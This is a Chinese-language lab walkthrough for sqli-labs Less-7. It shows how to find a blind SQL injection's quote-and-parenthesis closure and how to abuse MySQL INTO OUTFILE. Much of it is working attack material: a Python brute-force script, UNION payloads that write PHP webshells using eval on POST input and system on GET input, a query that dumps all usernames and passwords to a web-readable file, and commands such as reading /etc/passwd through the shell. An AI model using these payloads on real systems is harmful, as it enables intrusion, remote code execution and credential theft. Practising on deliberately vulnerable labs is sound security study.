Less-7 GET-Dump into outfile-String
GET-导出到文件-字符串

题目提示了是要outfile传文件,就是传一个马上去,这里用的php一句话木马。
1. 如何检测闭合方式 '))
方法1:观察报错信息(最直接)
-- 测试1:单引号
?id=1'
返回:You have an error in your SQL syntax
分析:语法错误,但看不到具体报错(被注释掉了)-- 测试2:单引号+右括号
?id=1')
返回:You have an error in your SQL syntax
分析:还是错误-- 测试3:单引号+双右括号
?id=1'))
返回:You have an error in your SQL syntax
分析:还是错误(因为后面还有 LIMIT)-- 测试4:完整闭合+注释
?id=1')) --+
返回:You are in.... Use outfile......
✅ 成功!说明闭合方式是 '))

方法2:逐步测试(推荐新手)
-- Step 1: 测试单引号
?id=1'
错误 → 说明有引号-- Step 2: 尝试闭合单引号
?id=1' --+
错误 → 说明还有其他结构-- Step 3: 尝试单引号+括号
?id=1') --+
错误 → 说明不止一个括号-- Step 4: 尝试单引号+双括号
?id=1')) --+
成功 ✅ → 确认闭合方式是 '))-- Step 5: 逻辑验证
?id=1')) and '1'='1' --+
成功 ✅?id=1')) and '1'='2' --+
失败 ❌确认无误!

第5步逻辑验证至关重要,因为测试的时候发现双引号也能返回you are in 的页面,会误导,但是逻辑验证加上and ‘1’=‘1’ 后语法错误,说明双引号的方式不行。

使用 ")) 闭合(错误但不报错)
输入: ?id=1")) and "1"="1" --+拼接后的SQL:
SELECT * FROM users WHERE id=(('1")) and "1"="1" --+')) LIMIT 0,1注释后:
SELECT * FROM users WHERE id=(('1")) and "1"="1"MySQL的解析过程:
WHERE id = ( ( '1")) and "1"="1"' ) )↑ ↑_____________________↑ ↑( 整个字符串从这里开始 )MySQL看到:
- 第一个 (
- 第二个 (
- 单引号 ' 开始字符串
- 字符串内容:1")) and "1"="1" 直到找到下一个单引号
- 但是!找不到配对的单引号(被--+注释了)
- MySQL容错:把整个后续内容当作字符串等价于:
WHERE id = '1")) and "1"="1" --+'))'↑_______________________↑整个被当作字符串
sql把 ‘1"xxxxxxxx’ 理解为一个字符串,自动取第一个值匹配,所以还是能显示you are in 的“仿佛”是对了的信号,但是一旦加上and ’1‘=’1‘ 就露馅了,发现and没有执行。因为and的内容被视为字符串,而又被截断了只取1,所以and 1=100都无所谓,还是会显示you are in 这在逻辑上是错误的。正确的 ?id=1’)) and ‘1’=‘2’ --+ 因为1=2的条件是flase,页面会显示false,说明mysql运行了and ‘1’=‘2’ 的判断,证明 ')) 的闭合才是正确的。
?id=1"))--+
?id=1")) and "1"="1" --+
?id=1")) and "1"="2" --+
?id=1')) and '1'='1' --+
You are in.... Use outfile......?id=1')) and '1'='2' --+
You have an error in your SQL syntax

直接连上数据库测试结果也说明了“)) 结构后面的and压根不会执行。

如果mysql执行了and,and条件为flase应该如下图第二条命令所示不会输出内容。

MySQL的字符串隐式转换(关键点)
MySQL的类型转换规则:
-- 规则:当比较不同类型时,MySQL会尝试转换
-- 字符串转数字:从左到右读取,直到遇到非数字字符SELECT '1abc' = 1; -- True (字符串'1abc'被转为数字1)
SELECT '123abc' = 123; -- True (字符串'123abc'被转为数字123)
SELECT 'abc' = 0; -- True (字符串'abc'被转为数字0)
SELECT '1")) and "1"="1"' = 1; -- True! (字符串被转为数字1)

方法3:分析源码结构

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";↑↑ ↑ ↑ ↑↑两个左括号 两个右括号单引号 单引号
结构分析:
WHERE id=(('$id'))││ ↑ ││││用户输入││││ │││└──────┘│└────────┘需要闭合:' ))
方法4:暴力枚举(自动化)
import requestsurl = "http://192.168.224.1:8887/Less-7/?id="
success_flag = "You are in"closures = ["'", '"', "')", '")', "'))", '"))']print("[*] 检测闭合方式(改进版)\n")for closure in closures:# 构造True和False两个条件if '"' in closure:payload_true = f'1{closure} and "1"="1" --+'payload_false = f'1{closure} and "1"="2" --+'else:payload_true = f"1{closure} and '1'='1' --+"payload_false = f"1{closure} and '1'='2' --+"# 测试True条件resp_true = requests.get(url + payload_true)has_true = success_flag in resp_true.text# 测试False条件 resp_false = requests.get(url + payload_false)has_false = success_flag in resp_false.textprint(f"测试 {closure:5s}:")print(f" True条件: {'✅ 成功' if has_true else '❌ 失败'}")print(f" False条件: {'✅ 成功' if has_false else '❌ 失败'}")# 判断逻辑if has_true and not has_false:print(f" ✅✅✅ 正确闭合!逻辑判断生效!\n")print(f"[+] 最终结果: {closure}")breakelif has_true and has_false:print(f" ⚠️ 疑似错误闭合(True和False都成功,逻辑未生效)\n")else:print(f" ❌ 闭合失败\n")

特别添加了逻辑验证的功能,避免双引号的干扰。避免双引号的干扰,因为and后面的命令,我们是想让它执行了,注入恶意代码取爆库的,如果and不执行,只是显示you are in的虚假反馈,爆到天昏地暗也出不来。
2. 如何使用 OUTFILE 写文件
OUTFILE 基础知识
INTO OUTFILE 是MySQL的功能,可以将查询结果写入服务器文件。
语法:
SELECT ... INTO OUTFILE '/path/to/file.txt'
限制条件:
- ✅ 需要
FILE权限 - ✅ 需要知道网站绝对路径
- ✅ 目标目录必须可写
- ✅ 文件不能已存在
- ✅
secure_file_priv设置允许
Less-7 的 OUTFILE 注入
Step 1: 确认可以使用 OUTFILE
-- 测试基本写入
?id=1')) union select 1,2,3 into outfile '/tmp/test.txt' --+-- 如果成功,会在 /tmp/ 目录创建 test.txt
-- 内容:1 2 3

当然,一般来说tmp目录是从网页访问不到了,除非能够目录遍历。所以这个文件放哪里的位置就要猜一下了。
Step 2: 获取网站路径
方法1:报错获取路径(Less-7不行,因为报错被屏蔽了)
方法2:常见路径猜测
# Linux常见路径
/var/www/html/
/var/www/html/sqli-labs/Less-7/
/usr/share/nginx/html/
/home/www/# Windows常见路径
C:/wamp/www/
C:/xampp/htdocs/
D:/www/# SQLI-Labs 默认路径(基于你的URL)
/var/www/html/Less-7/
方法3:使用@@datadir或@@basedir
?id=-1')) union select 1,@@datadir,3 --+
?id=-1')) union select 1,@@basedir,3 --+
但Less-7不显示数据,所以这个方法也不行。
方法4:基于URL推测
URL: http://192.168.224.1:8887/Less-7/?id=1
可能的路径: /var/www/html/Less-7/

写入的目录一定要有写的权限,可以看到一开始注入到 /tmp 目录的时候是成功的,但是注入 Less-7 目录不成功。这是因为使用网页端的漏洞时,我们当前的用户一般是mysql或者 www-data,而 Less-7 的用户是 root,以www-data 的权限是不能向 Less-7 写入文件的。

要想写入文件有两个思路,一个是提升权限或改变目录权限,从www-data变成root,或者改变Less-7目录的权限,让其变为777,全员可读可写可执行。二是在html文件夹下再尝试找一个类似 tmp 目录那样的目录来写入。第一个方法实现比较困难,一般需要webShell,而我们现在就是卡在webShell的关卡上。如果不用webshell,有一些特定漏洞是可以利用的,但是这样“好用”的漏洞非常少,所以基本不考虑第一种方法。
Step 3: 写入 WebShell
PHP一句话木马:
<?php @eval($_POST['cmd']); ?>
完整payload:
-- 注意:路径需要根据实际情况修改
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/tmp/../www/shell.php' --+

URL编码版本:
?id=1'))%20union%20select%201,'<?php%20@eval($_POST["cmd"]);%20?>',3%20into%20outfile%20'/var/www/html/sqli-labs/Less-7/shell.php'%20--+
Step 4: 访问 WebShell
这里靶机的版本不同还有不同的权限,我这个www文件夹都没有写入的权限。只有 /tmp 和 /var/tmp 这两个目录可以写,但是没有目录遍历或者文件包含相关的漏洞。sql漏洞中还有提权相关的洞,不过目前没有学到,就“作弊”把shell.php文件从docker后台复制到less7目录下,模拟Less7目录可写的情况。

http://192.168.224.1:8887/Less-7/shell.php
使用工具(如蚁剑、菜刀)连接,密码是 cmd。



详细示例
示例1:写入简单的PHP文件
-- 写入一个显示phpinfo的文件
?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/info.php' --+-- 访问
http://192.168.224.1:8887/Less-7/info.php
示例2:写入HTML文件
-- 写入HTML
?id=1')) union select 1,'<h1>Hacked by You</h1>',3 into outfile '/var/www/html/sqli-labs/Less-7/hacked.html' --+-- 访问
http://192.168.224.1:8887/Less-7/hacked.html
示例3:写入包含数据库信息的文件
-- 写入数据库名到文件
?id=1')) union select 1,database(),3 into outfile '/var/www/html/sqli-labs/Less-7/db.txt' --+-- 写入所有用户名和密码
?id=1')) union select 1,group_concat(username,0x3a,password),3 from users into outfile '/var/www/html/sqli-labs/Less-7/users.txt' --+
示例4:写入更复杂的WebShell
-- 功能更强的一句话
?id=1')) union select 1,'<?php system($_GET["c"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/cmd.php' --+-- 使用(执行系统命令)
http://192.168.224.1:8887/Less-7/cmd.php?c=whoami
http://192.168.224.1:8887/Less-7/cmd.php?c=ls -la
http://192.168.224.1:8887/Less-7/cmd.php?c=cat /etc/passwd
3. OUTFILE 的限制和绕过
常见限制
限制1:secure_file_priv
检查配置:
?id=-1')) union select 1,@@secure_file_priv,3 --+
可能的值:
NULL:禁止导入导出/tmp/:只能在这个目录- 空字符串:任意目录
绕过: 如果限制了目录,就只能写到允许的目录
限制2:文件已存在
错误: ERROR 1086: File '/path/file.txt' already exists
绕过: 更改文件名
?id=1')) union select 1,2,3 into outfile '/path/file2.txt' --+
?id=1')) union select 1,2,3 into outfile '/path/file_20250101.txt' --+
限制3:没有写权限
绕过: 找到可写目录
# 常见可写目录
/tmp/
/var/tmp/
/dev/shm/
替代方法:INTO DUMPFILE
区别:
INTO OUTFILE:会添加换行符和转义字符INTO DUMPFILE:原样写入,适合二进制文件
-- 写入二进制WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into dumpfile '/var/www/html/sqli-labs/Less-7/shell.php' --+
4. 完整的 Less-7 利用流程
-- Step 1: 确认注入点和闭合
?id=1')) and '1'='1' --+
✅ You are in....-- Step 2: 确认列数
?id=1')) order by 3 --+
✅ 成功?id=1')) order by 4 --+
❌ 错误(3列)-- Step 3: 确认显示位(Less-7不显示,所以跳过)-- Step 4: 尝试写文件(猜测路径)
?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/test.php' --+-- Step 5: 访问测试
http://192.168.224.1:8887/Less-7/test.php
(如果显示phpinfo,说明路径正确)-- Step 6: 写入WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/shell.php' --+-- Step 7: 连接WebShell
使用蚁剑或菜刀连接
URL: http://192.168.224.1:8887/Less-7/shell.php
密码: cmd
5. 实战技巧
技巧1:路径探测
-- 写入到不同路径,看哪个成功
?id=1')) union select 1,2,3 into outfile '/var/www/html/test1.txt' --+
?id=1')) union select 1,2,3 into outfile '/var/www/html/sqli-labs/test2.txt' --+
?id=1')) union select 1,2,3 into outfile '/var/www/html/sqli-labs/Less-7/test3.txt' --+
技巧2:利用错误回显(如果有)
如果页面显示MySQL错误:
?id=1')) union select 1,2,3 into outfile '/nonexistent/path/file.txt' --+错误:Can't create/write to file '/nonexistent/path/file.txt'
分析:说明OUTFILE功能可用,只是路径不对
技巧3:写入日志文件位置
-- 查看错误日志位置
?id=-1')) union select 1,@@log_error,3 into outfile '/tmp/log_path.txt' --+-- 查看数据目录
?id=-1')) union select 1,@@datadir,3 into outfile '/tmp/datadir.txt' --+
总结
Less-7 的特点
| 特征 | 说明 |
|---|---|
| SQL结构 | WHERE id=(('$id')) |
| 闭合方式 | ')) |
| 报错显示 | ❌ 不显示详细错误 |
| 数据显示 | ❌ 不显示数据 |
| 提示 | ✅ “Use outfile” |
| 核心技术 | INTO OUTFILE 写文件 |
检测 ')) 的方法
- ✅ 逐步测试:
'→')→'))→')) --+ - ✅ 逻辑验证:
1')) and '1'='1' --+vs1')) and '1'='2' --+ - ✅ 自动化枚举
OUTFILE 利用
-- 基本语法
?id=1')) union select 1,'内容',3 into outfile '路径' --+-- 写WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/shell.php' --+
关键点
- ⚠️ 需要知道网站绝对路径
- ⚠️ 需要目录可写权限
- ⚠️ 文件不能已存在
- ⚠️ 注意
secure_file_priv限制
Less-7 是学习文件写入攻击的经典题目!🎯
